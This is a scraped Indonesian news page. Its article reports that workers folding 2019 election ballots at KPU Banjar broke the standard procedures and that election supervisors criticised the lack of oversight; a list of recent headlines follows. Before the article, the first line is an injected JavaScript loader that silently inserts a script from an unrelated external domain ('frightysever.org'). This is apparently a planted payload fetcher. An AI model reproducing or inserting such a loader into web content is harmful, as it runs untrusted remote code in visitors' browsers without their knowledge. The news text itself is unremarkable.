(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pekerja Pelipatan Surat Suara di KPU Banjar Tak Taati SOP


MARTAPURA, Setelah sebanyak 776.174 lembar surat suara tiba di gudang logistik tambahan Komisi Pemilihan Umum (KPU) Kabupaten Banjar di Jalan Jeruk Sungai Ulin Banjarbaru pada Kamis (28/2) siang. Kini giliran penyortiran dan pelipatan surat suara mulai dilakukan.

Melibatkan 184 orang petugas, surat suara pemilih 2019 sudah mulai dilipat sejak Jum’at (1/3) kemarin. Informasi yang didapat Kanal Kalimantan, hari pertama proses pengerjaan pelipatan banyak pekerja yang menyalahi tata tertib (SOP) yang ditetapkan KPU Banjar, seperti membawa tas, telpon genggam dan makanan minuman.

Ketua KPU Banjar Muhaimin tidak memungkiri adanya beberapa petugas pekerja di hari pertama pelipatan surat suara kemarin ada yang menyalahi aturan. Walaupun sebelumnya sudah diberikan arahan dan penyelasan tentang SOP tersebut.

“Hari pertama Alhamdulilah berlangsung lancar, walaupun ada yang tidak menaati SOP yang sudah kita tetapkan, seperti membawa tas, hingga ada yang membawa anak-anak, kedepan nampaknya harus kita tegaskan lagi,” akunya.

Adapun surat suara yang dilipat tersebut meliputi 2 jenis surat suara suara Pemilu DPR Dapil Kalsel 1 berjumlah 846 packs, Surat Suara Pemilu DPRD Kabupaten Banjar Dapil 1 ada 176 packs, Dapil 2 ada 164 packs, Dapil 3 ada 145 packs dan Dapil 4 dengan jumlah 203 packs. Untuk setiap packs berisikan 500 lembar surat suara.

Sementara itu anggota Bawaslu Banjar Ramlianoor mengatakan, melihat secara umum pelipatan surat suara di hari pertama mengakui banyak sekali pelanggaran-pelanggaran terhadap SOP yang tidak diindahkan.

“Selain pelanggaran, ada yang membawa anak hingga makan minum dan membawa tas, ada juga petugas pelipatan surat suara yang tidak menyortir surat suara, tanpa dibuka langsung dilipat, nah itu yang kita sesalkan, sementara pengawasan dari KPU sendiri tidak ada,” paparnya.

Ramli menegaskan, seharusnya KPU sebagai pihak penanggung jawab pelipatan surat suara harusnya berada di lokasi, sehingga dapat mengkontrol pekerjaan semua petugas yang sedang melakukan pelipatan surat suara tersbut.

“Kita sampaikan ke KPU Banjar agar hari berikutnya bisa ditertibkan dan ditugaskan sesuai dengan SOP yang ada,” ujarnya.

Ditegaskannya pentingnya mencegah dan meminimalisir kesalahan, karena dikhawatirkan bisa merusak dari pada surat suara tersebut. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

6 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

6 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

7 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

7 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

21 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.